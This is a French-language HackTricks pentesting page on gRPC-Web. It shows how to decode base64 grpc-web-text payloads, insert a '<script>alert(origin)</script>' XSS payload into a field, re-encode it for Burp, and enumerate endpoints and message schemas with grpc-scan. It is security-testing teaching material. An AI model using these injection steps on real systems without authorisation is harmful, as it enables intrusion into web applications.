hacktricks/pentesting-web/grpc-web-pentest.md

8.9 KiB

Test d'intrusion gRPC-Web

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Manipulation des charges utiles gRPC-Web

gRPC-Web utilise Content-Type: application/grpc-web-text dans les requêtes, qui est une forme de protobuf encodée en base64, vous pouvez utiliser l'outil gprc-coder, et vous pouvez également installer son Extension Burp Suite.

Manuel avec l'outil gGRPC Coder

  1. Décoder d'abord la charge utile :
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
  1. Modifier le contenu de la charge utile décodée
<p>Once you have successfully intercepted and decoded the payload, you can proceed to edit its content. This can be useful for various purposes such as modifying data being sent to the server or injecting malicious scripts.</p>
<p>Une fois que vous avez intercepté et décodé avec succès la charge utile, vous pouvez procéder à la modification de son contenu. Cela peut être utile à diverses fins, telles que la modification des données envoyées au serveur ou l'injection de scripts malveillants.</p>
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
  1. Encodez la nouvelle charge utile
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
  1. Utiliser la sortie dans l'intercepteur Burp :
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+

Manuel avec l'extension Burp Suite Coder gRPC-Web

Vous pouvez utiliser l'extension Burp Suite Coder gRPC-Web dans gRPC-Web Pentest Suite qui est plus facile. Vous pouvez lire les instructions d'installation et d'utilisation dans son dépôt.

Analyse des fichiers Javascript gRPC-Web

Il y a au moins un fichier Javascript dans chaque application gRPC-Web. Vous pouvez analyser le fichier pour trouver de nouveaux messages, endpoints et services. Essayez d'utiliser l'outil gRPC-Scan.

  1. Téléchargez le fichier Javascript gRPC-Web
  2. Analysez-le avec grpc-scan.py:
python3 grpc-scan.py --file main.js
  1. Analyser la sortie et tester les nouveaux points de terminaison et les nouveaux services :
Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort

Found Messages:

grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name |     Field Type     | Field Number |
+============+====================+==============+
| Message    | Proto3StringField  | 1            |
+------------+--------------------+--------------+
| Name       | Proto3StringField  | 2            |
+------------+--------------------+--------------+
| Age        | Proto3IntField     | 3            |
+------------+--------------------+--------------+
| IsAdmin    | Proto3BooleanField | 4            |
+------------+--------------------+--------------+
| Weight     | Proto3FloatField   | 5            |
+------------+--------------------+--------------+
| Test       | Proto3StringField  | 6            |
+------------+--------------------+--------------+
| Test2      | Proto3StringField  | 7            |
+------------+--------------------+--------------+
| Test3      | Proto3StringField  | 16           |
+------------+--------------------+--------------+
| Test4      | Proto3StringField  | 20           |
+------------+--------------------+--------------+

grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
|  Field Name  |     Field Type     | Field Number |
+==============+====================+==============+
| Message      | Proto3StringField  | 1            |
+--------------+--------------------+--------------+
| Name         | Proto3StringField  | 2            |
+--------------+--------------------+--------------+
| Age          | Proto3IntField     | 3            |
+--------------+--------------------+--------------+
| IsAdmin      | Proto3BooleanField | 4            |
+--------------+--------------------+--------------+
| Weight       | Proto3FloatField   | 5            |
+--------------+--------------------+--------------+
| Test         | Proto3StringField  | 6            |
+--------------+--------------------+--------------+
| Test2        | Proto3StringField  | 7            |
+--------------+--------------------+--------------+
| Test3        | Proto3StringField  | 16           |
+--------------+--------------------+--------------+
| Test4        | Proto3StringField  | 20           |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField     | 8            |
+--------------+--------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
|   Field Name    |    Field Type     | Field Number |
+=================+===================+==============+
| Message         | Proto3StringField | 1            |
+-----------------+-------------------+--------------+
| MessageCount    | Proto3IntField    | 2            |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField    | 3            |
+-----------------+-------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
|  Field Name  |   Field Type   | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1            |
+--------------+----------------+--------------+

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks: